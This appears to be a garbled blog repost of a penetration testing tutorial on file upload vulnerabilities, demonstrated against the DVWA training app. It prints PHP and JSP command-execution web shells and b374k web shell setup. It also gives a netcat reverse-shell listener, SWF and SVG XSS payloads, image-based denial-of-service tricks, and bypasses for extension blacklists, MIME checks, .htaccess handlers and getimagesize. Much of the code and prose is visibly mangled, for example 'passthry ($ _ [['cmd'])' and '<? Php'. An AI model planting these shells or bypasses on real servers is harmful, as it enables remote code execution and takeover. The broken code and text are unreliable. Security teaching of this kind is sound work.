Web application penetration testing tutorials File upload vulnerabiliteis


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

Web Application Penetration Testing Tutorials - File Upload Vulnerabilities


This Web Application Penetration Testing Tutorial will deal with security issues related to File Upload Vulnerabilities

I bet readers Web applications have to be faced, with the functionality to upload Files, usually an image, video, document, and so on. 

However, if A Web Application contains bad (or not) security mechanisms to prevent certain types of security Files, such as server-side scripting, then it can result in malicious code execution On the server Even with limited file upload capability, we can execute JS arbitrarily (XSS), CSRF, and client-side exploits.

Let's go directly to our first demo of file upload vulnerability
Damn Weak Web Application (DVWA) - Open Source PHP Web
The application developed for the purpose of displaying different types of web Weaknesses We have already used DVWA, cross-site scripting (XSS) in tutorial 3 XSS displays. 

DVWA can be downloaded from http://www.dvwa.co.uk/.

Introducing File Upload Vulnerability 

The DVWA web app was installed in the Debian server and was configured with a low-security level. 

Let's go to the File Uploads section and see if we can upload and run our own PHP scripts on the backend.


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

We have been given an HTML form which is asking us to upload an image. Instead, Let's create a simple PHP file that contains the following code, which displays Through trial, version of PHP has been installed. Filename:

<? Php
Echo phpversion ();
?>

The preceding code executes phpversion (); Function when executed by a PHP Interpreter, We use it to check whether the uploaded PHP file has been successfully executed or not
Server-side or not:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

We get a successful upload message and path for the file, let's try to access the file to see if PHP code execution is possible in the server:


 Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

See if our PHP code runs successfully on the server. This payload was benign, only intended for testing. Now try to execute the shell command on the server.

Remote Code Execution 

Php provides different functions when shell command execution is allowed on the server.

The following table contains a list of tasks that are used for shell command executes 


Name Functionality
system Executes a command and returns its output
shell_exec Executes a command and displays the output immediately
pass-thru Executes a command and displays the raw output
backtick operator (``) Executes contents inside the backtick as a shell command
popen Executes a command and returns a pointer
exec Executes a command and returns the last line of the output
pcntl_exec Executes a command or a program
proc_open Similar to popen()

In the following code, we use the passthru () function and make a simple one-liner shell, which will expect a parameter in the GET request and execute it using passthru ().

<? Php

passthry ($ _ [['cmd']);
?>

Note: Here the GET parameter name is cmd, which can easily be guessed. While uploading a one-liner shell on the penetration test engagement, Make sure the parameter name is absurd and lengthy so that it can not easily be guessed.

For example, packt_secure_long_param_cmd_exec. If someone manages to use your applied sphere, they will be complete Use of the server, which is something that you do not want others to do

Using the DVWA File Upload Vulnerability, which was previously discussed, I uploaded this one-liner PHP Shell:

ls -la / etc 


Let us see the output of the following commands on the server via Shell:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

As expected, our shell was beautifully run and there was a long list of directories / etc Displayed on the browser

Similar to PHP, we can use the following Java code to get a shell in the JSP web server:

<% (Request.getParameter ("cmd")! = Null) {
out.println ("Output:" + request.getParameter ("cmd") + "<br />");
Process p = Runtime.getRuntime (). Exec (request.getParameter ("cmd"));
OutputStream OS = p.getOutputStream ();
InputStream = p.getInputStream ();
DataInputStream dis = new DataInputStream (in);
String disr = dis.readLine ();
While (disr! = Null) {
out.println (disr); disr = dis.readLine ();
}}%>

One-liner shell gives us a quick way to execute code on the server; however, this is Limited functionality Let's proceed to the multidimensional web shell.

Multi-functional web shells 

A multi-functional web shell is a PHP web application with a big set Features, which are often required to upload and execute PHP files as possible.

The multi-functional web shell contains only one file, to make it portable, and That's why it becomes a very powerful tool. The following is normal in the list Multi-functional web shell features:

  • File Management Features: Includes the ability to upload/delete and to Rename the files on the server from the browser.
  • Command Shell Access: This is similar to the original one-liner shell, but it uses Various PHP functions discussed in the last table for executing and providing code Shell access
  • Bind/reverse shell: These provide the option to add feature binds or A Reverse shell connection to the server via Netcat Inverted This book has been discussed in the forthcoming sections.
  • Database Access: This functionality provides direct access to server-side If available, then databases using valid database credentials.
  • Process Manager: This feature facilitates to list and kill processes Processes on the server
  • Password protection: This is a simple password protection feature, which Prevents the imposed web shell abuse. If no one knows Password, a web shell cannot be misused.

The internet is full of different types of web shells, which is aimed at different servers Side scripting - PHP, ASP.NET, JSP, etc. 

Note: Before downloading any web shell from the Internet, please do Make sure they are free from the back door. Searching the web is very common Open with an embedded backdoor.

The B374k shell can be downloaded from https://github.com/b374k/b374k. this includes a file manager, database explorer, command shell interface, and many others Features. Let's first run the b374k Shell Packer and make our custom b374k web shell.

We will execute the following commands:

php -f index.php -- -o shell.php -p packt 

As you can see in the following screenshots, this will result in a web shell Password pack Explanation can be found for various command-line switches In their GitHub stores:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

When accessing the B374k web shell, it instantly asks for a password, so that no outsider cannot misuse the sale. The following screenshots show what this will look like:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

After logging in, we present a nice and clean interface, which has a variety of functionality. First and most compliant is a file manager. Please see the following screenshots;


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

We have an interface to access the command shell:

Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis


Similarly. There are other features in b347k, which we can see and see. I will leave the part of the exploration to you.

Netcat accessible reverse shell 

Netcat is often called the Swiss Army knife of hackers and penetration examiners.

Netcat allows TCP / UDP connection to read/write and has a big set of Functionality, from Port Scan to File Transfer Mechanism. However, here, We'll use Netcat to access a reverse shell.

First of all, we will need a PHP script which is capable of making TCP connection based Inverted shells. 

Generally, we can use reverse shell functionality or a popular b347k The open-source reverse shell of PentestMonkey is available at http: // pentest monkey. 

Pure /tool/web shells / php-reverse shell The selection depends entirely on you. we will use the built-in reverse shell provided with b374k.

Before we start the reverse shell, we need to make our netcat listener. let's build By running the following command, a listener on port 8888:

nc -lv 8888

After this, we can configure a reverse shell by providing a proper IP and port It can connect to our Netcat listener:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

As soon as we press the Run button on the Web Shell, our NetCat receives a reverse shell from the server and we can execute the command with pleasure through this interactive command shell as follows:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

When we want to use futures in other systems or execute privileged exploitation, this continuous reverse shell is very user-friendly.

The return of XSS 

We have already covered XSS in Chapter 3, Cross-Site Scripting (XSS), but here we will There are some more technologies related to XSS as a malicious file upload.

There are different file formats, which can execute arbitrarily if allowed Javascript Let's move through some of them.

SWF – the flash 

There are some issues when uploading .swf files are allowed. In this case, we To execute JS, you can create ActionScript code, compile it, and then upload it. Weak website to achieve XSS capabilities

The following is an ActionScript2 (AS2) code that uses the getURL () function Run JS when running in browser with Adobe Flash Player:

class XSS {
 static var app: XSS;
 function XSS() {
 var xss = "javascript:alert(\"SWF-based XSS: \"+document.
domain)";
 getURL(xss, "_self");
 }
 static function main(mc) {
 app = new XSS();
 }}

To compile this code in a .swf file, we will use a cross-platform ActionScript2 The compiler is known as mtasc. It is available at http://www.mtasc.org/mtasc.html

It can be easily run on black Linux:

apt-get install mtasc

Once installed, we compile the code by compiling it:

mtasc -swf xss.swf -main -header 0: 0: 0 xss.as

After compiling, we get xss.swf from the original XSS.as ActionScript file. The output is as follows:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

Now we can upload this file via a file upload form which allows SWF files.

Through the browser, shown as follows, we can access the uploaded file which will execute JS upon loading:

Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis


SVG images

SVG Scalable Vector stands for Graphics and is a popular format for Image Representation SVG images are XML files that have been parsed to display Embedded image. 

Developers often allow SVG files when they provide their web Application users with an option of uploading image file One of the lesser-known facts SVG is about images that they can execute javascript upon loading.

The following XML code is a valid SVG image that executes when JS is loaded A browser:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/
Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/
svg">
<script type="text/javascript">
alert("XSS: "+document.domain);
</script>
</svg>

The preceding code, when loaded in a browser, performs with alerts () Representation is shown as follows. JS works as an example of JS:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

look at that! We successfully got JS execution through SVG file. Similarly, we can execute JS by uploading other files, such as HTML.

Denial of Service
 

Service-deprived (DoS) techniques should be tested only in a controlled environment, It is easy to recover when the application is low. Never try them production system.

We may force some image parsing applications or libraries to crash when they try To parse a distorted image file. 

Today, most web parsing code is available Application as image upload, size and so on Let's go through something Documented techniques of DoS through image files.

The following documented techniques were publicly disclosed by the HackerOne user Who is the Dutch user?

Malicious JPEG File - Pixel Flood

This technique takes advantage of image parsing as a way to parse JPG or JPEG file. In college Speaking, initially, we will take a valid JPEG image with any random pixel Dimensions, say 100x100. 

Then we change the hexidit or programmatically dimension
Some very large, such as 65000x65000 in EXIF ​​dimensions as well
Dimensions of the image. 

As a result, some parser is allocated an immense amount The memory causes the server to run out of memory and crash at the end and at the end.

Ruby Mani, a popular image processing, was kind of weak
Attacking, therefore it will not be surprising to see other libraries/parsons affected by this.

Malicious GIF file - Frame Flood

Like the previous technology, a malicious GIF is used to allocate a large amount End of memory, eventually ending server memory. The GIF file typically has one Set of animations as different image frames. Instead of flipping the pixel, We add a very large amount of GIF frames, say 40,000-50,000. 

When each is parsing Frames, memory is allocated and ultimately chokes the server.

Malicious zTXT field of PNG files

The PNG file format allows a section called zTXT, which allows zlib (DEFLATE) The compressed data needs to be added to the PNG file. 

The technique here is that a large amount of repeated data as a series of zero data, weighing more than 50 MB and then made
Compressed through Jellyb, which results in compressed data of some KBs.

This is then added to the text section of any regular PNG file. Frequently Sending Memory exhaustion like we have seen such requests The last two examples. This issue also affected the paperclip mani.

The original report can be viewed at https://hackerone.com/reports/400. Here itself The searcher shares his code to create such malicious files.

Bypassing upload protections 

Most of the time, there will be some kind of security mechanism to stop Malicious file upload

For example, server-side script uploads, such as PHP or JSP, are not often allowed.

We will go through different security which developers often use and can do Bypass is done.

Case-sensitive blacklist extension check bypass

Developers, sometimes, add a blacklist for some file extensions that are It is considered harmful. Sometimes, they forget that their extension is valid or not The case is insensitive, which means a blacklist .php for the PHP file extension Denied, and therefore .php,.PHP, .pHP, and other variants, developers should often
Check the lower cases of expansion and ignore the variant (case)
Insensitive check).

Consider the following PHP file upload code, which tries to deny various ways PHP file extension (.php, .php3, and so on):

<?php
 if(isset($_FILES['image'])){
 $filename = $_FILES['image']['name'];
 $tmp=$_FILES['image']['tmp_name'];
 $ext=end(explode('.',$_FILES['image']['name']));
 $blacklist= array("php","php3","phtml","php4");
 if(in_array($ext,$blacklist)){
 echo "Not allowed!";
 exit(0);
 }
 move_uploaded_file($tmp,"images/".$filename);
 echo "Success";
 exit(0);
 }
?>

<html>
 <body>
 <form action="" method="POST" enctype="multipart/form-data">
<input type="file" name="image" />
 <input type="submit" />
 </form>
 </body>
 </html>

We then try to upload a normal PHP file with a normal .php extension, say phpinfo.php:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

Due to matching in extensions and blacklist cases, we do not allow or deny the error message:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

Now, let's try this with the PHP extension, phpinfo.PHP says:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

Now, we will upload this file and see if it has been uploaded successfully:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

As expected, the verification check failed because it did not catch capital expansion Causes of case-sensitivity

MIME content-type verification bypass 

Each document or file has a valid MIME type, which is an identifier that is included Two parts, one type, and one subtype, separated by a forward slash. 

Web Developers, on Many times, trust the MIME type of the verified file whether it is a secure file or not No. 

For an image upload application, the allowed MIME type can be image/jpeg, Image / GIF, and Image / PNG Now, we can only bypass this check by changing The MIME type is through a blocking proxy, such as the Burp Suite or Tamper Data
For Firefox.

Let us consider the following PHP code, which allows only JPG and GIF files Confirm the MIME type of the file during the upload process:

<?php
 $filename = $_FILES['image']['name'];
 $tmp=$_FILES['image']['tmp_name'];
 if(isset($_FILES['image'])){
 if($_FILES['image']['type'] != "image/gif" && $_FILES['image']
['type'] != "image/jpeg"){
 echo "Not allowed!";
 exit(0);
 } move_uploaded_file($tmp,"images/".$filename);
 echo "Success";
 exit(0);
 }
?>

<html>
 <body>
 <form action="" method="POST" enctype="multipart/form-data">
 <input type="file" name="image" />
 <input type="submit" />
 </form>
 </body>
</html>

Let's try to upload a PHP file that executes phpinfo (), we will use the Burp Suite peptor functionality to respond to requests. First of all, try sending the phpinfo.php file normally and see the response as follows:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

Since the MIME type was text / php, the upload was rejected. Let's try converting that value into an image/gif:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

Since, at this time, the MIME type of an image file matches us
Successfully circumvented this check and uploaded the file to the server.

Apache's htaccess trick to execute benignly files as PHP

Let's go back to the first technique, which contains the case-sensitive blacklist Extension. 

We modify the code and add straitolver () to avoid case-sensitivity.
Had to face the problem. Now the check looks strong, but if the web server is Apache We can use a trick to upload an .htaccess file, which will execute our PHP file With gentle extensions, such as .jpg and .gif:

<?php
 if(isset($_FILES['image'])){
 $filename = $_FILES['image']['name'];
 $tmp=$_FILES['image']['tmp_name'];
 $ext=strtolower(end(explode('.',$_FILES['image']['name'])));
 $blacklist= array("php","php3","phtml","php4");
 if(in_array($ext,$blacklist)){
 echo "Not allowed!";
 exit(0);
 }
 move_uploaded_file($tmp,"images/".$filename);
 echo "Success";
 exit(0);
 }
?>

<html>
 <body>
 <form action="" method="POST" enctype="multipart/form-data">
 <input type="file" name="image" />
 <input type="submit" />
 </form>
 </body>
 </html>

Now, there are two ways in which we can trick Apache to safely execute a file Expansion in PHP form:
  • Set handler method
  • AddType method

SetHandler method 

We have uploaded the following .htaccess file, which tricks Apache to execute any File with _php.gif as a valid PHP file forcing through SetHandler Instructions:

<FilesMatch "_php.gif">
Sethandler application / x-httpd-php
</ FilesMatch>

Now, we upload the file as phpinfo_php.gif, and once it gets done
Uploaded, we can access the file:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

You can now see that this protected .gif file is executed as a valid PHP file.

The AddType method 

Like the set handler method, here, we instead map a new file extension As .lol, which is executed as a PHP file. To get this, we upload the following As a .htaccess file:

AddType application / x-httpd-php .lol

Then we upload a file, which is called .ol, php.lol and then as a file extension, Access the file from the browser:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

Inspect the file extension in the URL, it is .lol, which maps to PHP and is Performed accordingly.

Bypassing image content verification 

To make it more challenging to display malicious file uploads, there are cases where Developers try to verify the content/structure of the uploaded file to match anyone Valid image file type. 

In PHP, there is a function, which is called getimagesize (), which
Basically reads a file, returns the size of the image (if a correct image file is provided), And if an invalid file is dropped, getimagesize () silently fails.

The property of this function is used to verify whether the file is an image or not.

However, there are techniques that can effectively circumvent this conservation.

Consider the following PHP code, which uploads the file when getimagesize () In the case of an invalid image file for upload, passes through an error and returns an error:

<?php
 if(isset($_FILES['image'])){
 $filename = $_FILES['image']['name'];
 $tmp=$_FILES['image']['tmp_name'];
 if(!getimagesize($_FILES['image']['tmp_name']))
 {
 echo "Invalid Image File";
 exit(0);
 }
 move_uploaded_file($tmp,"images/".$filename);
 echo "Success";
 exit(0);
 }
?>

<html>
 <body>
 <form action="" method="POST" enctype="multipart/form-data">
 <input type="file" name="image" />
 <input type="submit"/>
 </form>
 </body>
</html>

We can bypass such checks Upload file with JPG image file, and then .php extension.

Now, let's go ahead and see different steps for adding PHP code inside any JPG file.

We can use any image editor for this, but for uniformity, we will use a website called http://www.thexifer.net/, which provides web-based editing for EXIF ​​headers Jpg The EXIF ​​header usually contains information like image authors, descriptions, And the software name. 

These can be replaced by PHP code while the image is still
A valid JPG file is considered. In the following steps, we will modify the EXIF ​​header A normal and valid image file, and then remove the backdoor code inside it. 

Are you there There are various web applications for EXIF ​​data and modifying and changing For example, I have used one of them. So, we proceed with the following steps:

1. Login on http://www.thexifer.net/ and upload any sample image, as follows:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis


2. Open EXIF ​​Editor by clicking on eXif.me below the image.
3. In the editor, navigate to ImageDescription and your PHP code inside it. Make sure that the PHP code is free from any new characters:

Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis


4. Save the changes by pressing the Go.exifing button, exit the editor and then download the file.
5. Now, we can verify whether our code was successfully inserted by executing string commands against the file inside the JPG file:


Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis

As you can see, our PHP code was successfully entered in the JPG file.

Now that we have learned to create such JPG files, we can just go ahead and upload File But before uploading it, definitely change the name of the file Exploit. So that the server executes the image in a PHP form.

The file should upload without any problems. Now, we will go ahead and Access the file:

Web Application Penetration Testing Tutorials - File Upload Vulnerabiliteis


look at that! Our valid JPG file (containing our PHP payload) was uploaded Successfully and was executed according to the expected. You can see some strayed text Before production of phpinfo () This is due to the fact that our payload was The binary was inserted into the JPG file, and the PHP interpreter displays the rest of the binary
Dump the file and execute only the PHP tags inside (<? Php .....)
?>). 

This kind of junk phpinfo () will appear after the end of production.

So, here, we successfully defeated getimagesize () and uploaded our payload, We can only convert payload into one-liner shell and get a shell on the system.

These were some techniques to bypass various types of protection mechanisms. The malicious file is used to stop uploading.

Summary

We started this Web Application Penetration Testing Tutorial with some basics of file upload vulnerability. Then we Discussed various PHP functions, which can cause server-side code execution, after that We proceed with the Multi-Functional Web Shell and how to use Netset Reverse shell

Then, we discussed many techniques related to DoS through Image Upload Forms Parsing the image on uploaded images using files such as GIFs JPG, and PNG After this we proceed with various safety mechanisms.

To prevent file upload attacks by developers, which can be bypassed by using multiple times The techniques mentioned. 

These are all topics for this tutorial. Different The bypasses I have mentioned have some other bypasses, which include double use
Extension, in which we combine a blacklisted extension with blacklisted 

For example, if .php is not allowed, we can sometimes bypass this check using .jpg.php.

There is a more complex technique for encoding PHP code through a PNG file.

Some file extensions are bypass which is related to specific web servers, and Semi-colon bypass for the infamous Microsoft IIS / 6.0 web server is:

http://soroush.secproject.com/downloadable/iis-semicolon-report.pdf

The next tutorial is about Metasploit and its importance for web applications. Well, Cover Metasploit, Meterpreter Shell, which is a feature-packed shell Many capabilities are accessed in comparison to a normal reverse or bind shell. Through netcat.

Related: 



Hi'i'm Rahim Ansari ,from India, I Love to Blogging, Desing Website, Web Developing and Desiging I Like to Learn and share Technical Hacking/Security tips with you,I Love my Friends.

Please Ask Question on Comment Box

Related Posts

Previous
Next Post »